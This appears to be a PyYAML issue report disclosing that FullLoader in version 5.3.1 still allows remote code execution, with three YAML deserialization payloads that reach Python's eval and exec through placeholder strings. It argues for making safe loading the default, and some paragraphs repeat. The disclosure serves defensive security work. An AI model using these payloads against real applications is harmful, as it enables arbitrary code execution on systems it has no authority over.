As of 5.3.1 .load() defaults to using FullLoader and FullLoader is still vulnerable to RCE when run on untrusted input. As demonstrated by the examples below, #386 was not enough to fix this issue.
Some example payloads:
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- [ "RCE_HERE" ]
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "RCE_HERE"
- !!python/object/new:str
args: []
state: !!python/tuple
- "RCE_HERE"
- !!python/object/new:staticmethod
args: [0]
state:
update: !!python/name:exec
I do not believe this is entirely fixable unless PyYAML decides to use secure defaults, and make .load() equivalent to .safe_load() ( #5 )
FullLoader should probably be removed, as I don't see the purpose of it.
As of 5.3.1 .load() defaults to using FullLoader and FullLoader is still vulnerable to RCE when run on untrusted input. As demonstrated by the examples below, #386 was not enough to fix this issue.
Some example payloads:
I do not believe this is entirely fixable unless PyYAML decides to use secure defaults, and make .load() equivalent to .safe_load() ( #5 )
FullLoader should probably be removed, as I don't see the purpose of it.